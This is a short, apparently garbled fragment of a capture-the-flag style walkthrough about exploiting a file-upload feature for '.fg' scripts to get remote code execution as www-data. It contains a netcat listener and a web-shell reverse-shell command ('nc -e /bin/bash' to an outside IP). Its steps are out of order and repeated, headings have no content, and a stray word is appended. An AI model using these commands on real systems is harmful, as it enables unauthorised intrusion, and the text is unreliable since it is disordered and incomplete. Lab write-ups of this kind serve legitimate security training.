Use gobuster :
Read the flag:
You get RCE as www-data . # On attacker machine nc -lvnp 4444 Via the web shell cmd=nc -e /bin/bash 10.10.14.14 4444 crackerfg
Stable shell:
Dashboard reveals a file upload feature for "FG (Fingerprint Generator)" scripts ( .fg files). Upload restrictions: only txt and fg . Upload a malicious .fg file: Use gobuster : Read the flag: You get RCE as www-data